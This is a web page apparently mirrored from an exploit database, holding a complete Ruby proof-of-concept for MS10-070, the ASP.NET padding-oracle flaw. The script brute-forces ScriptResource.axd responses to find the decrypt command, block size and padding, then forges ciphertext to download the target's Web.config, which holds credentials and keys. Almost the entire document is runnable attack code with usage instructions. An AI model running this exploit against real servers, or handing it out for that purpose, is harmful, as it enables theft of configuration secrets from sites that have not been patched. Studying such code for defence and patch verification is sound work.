Home / os / win7

[remote exploits] - MS10-070 ASP.NET Auto-Decryptor File Dow

Posted on 20 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MS10-070 ASP.NET Auto-Decryptor File Download Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MS10-070 ASP.NET Auto-Decryptor File Download Exploit by Agustin Azubel in remote exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>===================================================== MS10-070 ASP.NET Auto-Decryptor File Download Exploit ===================================================== #!/usr/bin/ruby -w # # aspx_ad_chotext_attack.rb # # Copyright (c) 2010 AmpliaSECURITY. All rights reserved # # http://www.ampliasecurity.com # Agustin Azubel - aazubel@ampliasecurity.com # # # MS10-070 ASPX proof of concept # Decrypt data using an auto decryptor bundled in the aspx framework # Encrypt data using Rizzo-Duong CBC-R technique # # Copyright (c) 2010 Amplia Security. All rights reserved. # # Unless you have express writen permission from the Copyright # Holder, any use of or distribution of this software or portions of it, # including, but not limited to, reimplementations, modifications and derived # work of it, in either source code or any other form, as well as any other # software using or referencing it in any way, may NOT be sold for commercial # gain, must be covered by this very same license, and must retain this # copyright notice and this license. # Neither the name of the Copyright Holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # require &#039;net/http&#039; require &#039;uri&#039; require &#039;rexml/document&#039; $debugging = false module XArray def hex_inspect &quot;[#{length}][ #{map { |x| x.hex_inspect }.join &quot;, &quot; } ]&quot; end end class Array include XArray end require &#039;base64&#039; class XBase64 def self.encode s s = Base64.encode64 s s = s.gsub &#039;+&#039;, &#039;-&#039; s = s.gsub &#039;/&#039;, &#039;_&#039; s = s.gsub &quot; &quot;, &#039;&#039; s = s.gsub &quot; &quot;, &#039;&#039; s = XBase64.encode_base64_padding s end def self.encode_base64_padding s padding_length = 0 padding_length += 1 while s[-1 - padding_length, 1] == &quot;=&quot; s[0..(-1 - padding_length)] + padding_length.to_s end def self.decode s s = s.gsub &#039;-&#039;, &#039;+&#039; s = s.gsub &#039;_&#039;, &#039;/&#039; s = self.decode_base64_padding s Base64.decode64 s end def self.decode_base64_padding s padding_length = s[-1,1].to_i s[0...-1] + (&quot;=&quot; * padding_length) end end module XString def xor other raise RuntimeError, &quot;length mismatch&quot; if self.length != other.length (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join end alias ^ :xor def hex_inspect printables = [ &quot;a&quot;, &quot;&quot;, &quot;e&quot;, &quot;f&quot;, &quot; &quot;, &quot; &quot;, &quot; &quot;, &quot;v&quot; ] + (0x20..0x7e).entries &quot;[#{length}]&quot; + &quot;&quot;#{unpack(&quot;C*&quot;).map { |x| printables.include?(x) ? x.chr : &quot;\x%02x&quot; % x }.join}&quot;&quot; end def to_blocks blocksize (0...length/blocksize).map { |i| self[blocksize * i, blocksize]} end end class String include XString end class ASPXAutoDecryptorChosenCiphertextAttack attr_reader :uri attr_reader :filename attr_reader :min_filelength attr_reader :filere attr_reader :http attr_reader :d_value attr_reader :blocksize attr_reader :padding_length attr_reader :decrypt_command_mask attr_reader :axdpath attr_reader :axdname attr_reader :base_mask def initialize parameters @uri = URI.parse parameters[:uri] @filename = parameters[:filename] @min_filelength = parameters[:min_filelength] @filere = parameters[:filere] @http = http_initialize @d_value = nil @base_mask = rand 0xffff @decrypt_command_mask = nil @blocksize = nil @padding_length = nil @axdpath = nil @axdname = nil puts &quot;target: #{@uri}&quot; puts &quot;base_mask: 0x%04x&quot; % @base_mask end def http_initialize http = Net::HTTP.new @uri.host, @uri.port http.start http end def parse_script_tag xml, re d = nil doc = REXML::Document.new xml doc.elements.each &#039;script&#039; do |e| src_attribute = e.attributes[&#039;src&#039;] md = re.match src_attribute d = md[1] break end raise RuntimeError, &quot;could not parse script_tag&quot; unless d d end private :parse_script_tag def get_ciphertext_sample [ [ &quot;ScriptResource.axd&quot;, //ScriptResource.axd?d=([a-zA-Z0-9-\_]+)&amp;t=[a-z0-9]+/ ], ].each do |name, re| headers = { &#039;User-Agent&#039; =&gt; &#039;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)&#039; } response = http.get uri.path, headers body = response.body script_tags = body.lines.select { |x| x.index name } next if script_tags.empty? puts &quot;script tags using #{name} [#{script_tags.length}]:&quot; puts script_tags.map { |x| &quot; #{x}&quot; } d = parse_script_tag script_tags[0], re puts &quot;using script: #{name}&quot; puts &quot;using d_value: #{d}&quot; @axdpath = uri.path[0, uri.path.rindex(&#039;/&#039;)] @axdname = name @d_value = (&quot;x00&quot; * 16) + (XBase64.decode d) break end raise RuntimeError, &quot;could not find any axd sample&quot; unless d_value d_value end def parse_html_body h, body parsed = String.new doc = REXML::Document.new body doc.elements.each h do |e| parsed = e.text break end parsed end def send_request d request = Net::HTTP::Get.new &quot;/#{axdpath}/#{axdname}?d=#{XBase64.encode d}&quot; request[&#039;Connection&#039;] = &#039;Keep-Alive&#039; @http.request request end def decrypt d ciphertext = d.clone ciphertext[0, 2] = [ @decrypt_command_mask ].pack &quot;S&quot; response = send_request ciphertext parse_html_body &#039;html/head/title&#039;, response.body end def discover_decrypt_command puts &quot;discovering decrypt command...&quot; ciphertext = d_value.clone 1.upto 0xffff do |mask| ciphertext[0, 2] = [ base_mask + mask ].pack &quot;S&quot; response = send_request ciphertext print &quot; trying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d&quot; % [ mask, response.code, response.body.length ] next unless response.code == &quot;200&quot; begin puts parse_html_body &#039;html/head/title&#039;, response.body @decrypt_command_mask = base_mask + mask rescue Exception =&gt; e puts e puts &quot;exception !&quot; next end break end puts raise RuntimeError, &quot;no more combinations to try !&quot; unless decrypt_command_mask puts &quot;decrypted !!!&quot; decrypt_command_mask end def discover_blocksize_and_padding_length puts &quot;discovering blocksize and padding length...&quot; [ 16, 8 ].each do |b| 0.upto b - 1 do |i| ciphertext = @d_value.clone ciphertext[-(b * 2) + i] ^= 0x01 begin decrypt ciphertext rescue Exception =&gt; e @blocksize = b @padding_length = blocksize - i break end end break if blocksize end raise RuntimeError, &quot;no more combinations to try !&quot; unless blocksize puts &quot;discovered padding length: #{padding_length}&quot; puts &quot;discovered blocksize: #{blocksize}&quot; [ blocksize, padding_length] end def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks puts &quot;cipher_blocks.count: #{cipher_blocks.count}&quot; required_block_count = 1 + new_plaintext_blocks.count + 1 puts &quot;required_block_count: #{required_block_count}&quot; if required_block_count &lt; cipher_blocks.count then delta = cipher_blocks.count - required_block_count puts &quot;removing #{delta} extra blocks...&quot; cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1] elsif required_block_count &gt; cipher_blocks.count then delta = required_block_count - cipher_blocks.count puts &quot;adding #{delta} extra_blocks...&quot; cipher_blocks = [ cipher_blocks[0], (&quot;x00&quot; * blocksize) * delta ] + cipher_blocks[1..-1] end puts &quot;cipher_blocks.count: #{cipher_blocks.count}&quot; cipher_blocks end private :reallocate_cipher_blocks def generate_new_plaintext_blocks tail_padding = &quot;x01&quot; head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize) head_padding_length = 0 if head_padding_length == blocksize head_padding = &quot;x00&quot; * head_padding_length new_plaintext = head_padding + @filename + tail_padding new_plaintext.to_blocks blocksize end private :generate_new_plaintext_blocks def encrypt puts &quot;encrypting &quot;#{@filename.hex_inspect}...&quot; new_plaintext_blocks = generate_new_plaintext_blocks cipher_blocks = @d_value.to_blocks blocksize cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks (1..new_plaintext_blocks.count).each do |i| puts &quot;round #{i} of #{new_plaintext_blocks.count}&quot; new_plaintext_block = new_plaintext_blocks[-i] old_cleartext = decrypt cipher_blocks.join old_plaintext = old_cleartext + (padding_length.chr * padding_length) puts &quot;old_plaintext: #{old_plaintext.hex_inspect}&quot; old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize old_plaintext_block = old_plaintext_blocks[-i] normalization_table = old_plaintext_block.bytes.map { |x| x &gt;= 0x80 or x == 0x0a } if normalization_table.include? true j = blocksize - (normalization_table.rindex true) cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j] puts &quot;normalization needed for &quot;\x%x&quot;, j: %d !&quot; % [ old_plaintext_block[-j], -j] redo end cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block @padding_length = 1 if i == 1 end cleartext = decrypt cipher_blocks.join puts &quot;new cleartext: #{cleartext.hex_inspect}&quot; # raise RuntimeError, &quot;too many &quot;|&quot; characters!&quot; if cleartext.count(&quot;|&quot;) &gt; 3 @d_value = cipher_blocks.join end def discover_escape_sequence puts &quot;discovering escape sequence...&quot; escape_sequence_mask = nil offset = base_mask % (blocksize - 4) ciphertext = d_value.clone 0x1ffff.times do |mask| ciphertext[offset, 4] = [ base_mask + mask ].pack &quot;L&quot; response = send_request ciphertext print &quot; trying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d&quot; % [ mask, response.code, response.body.length ] next unless response.code == &quot;200&quot; next if min_filelength and (response.body.length &lt; min_filelength) next if filere and (not filere =~ response.body) escape_sequence_mask = base_mask + mask puts puts &quot;found!&quot; unless $debugging puts &quot;press any key to show the contents of the file&quot; $stdin.gets end puts response.body break end puts raise RuntimeError, &quot;no more combinations to try !&quot; unless escape_sequence_mask escape_sequence_mask end def pause return if $debugging puts puts &quot;press any key to start the attack&quot; $stdin.gets end def run get_ciphertext_sample pause discover_decrypt_command discover_blocksize_and_padding_length encrypt discover_escape_sequence end end puts [ &quot;-------------------------------------------&quot;, &quot;aspx_ad_chotext_attack.rb&quot;, &quot;(c) 2010 AmpliaSECURITY&quot;, &quot;http://www.ampliasecurity.com&quot;, &quot;Agustin Azubel - aazubel@ampliasecurity.com&quot;, &quot;-------------------------------------------&quot;, &quot; &quot; ].join &quot; &quot; if ARGV.length != 1 then $stderr.puts &quot;usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx&quot; exit end begin parameters = { :uri =&gt; ARGV.first, :filename =&gt; &quot;|||~/Web.config&quot;, # :min_filelength =&gt; 3000, :filere =&gt; /configuration/ } x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters x.run rescue Exception =&gt; e $stderr.puts &quot;Exploit failed: #{e}&quot; raise if $debugging end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-20]</pre></body></html>

 

TOP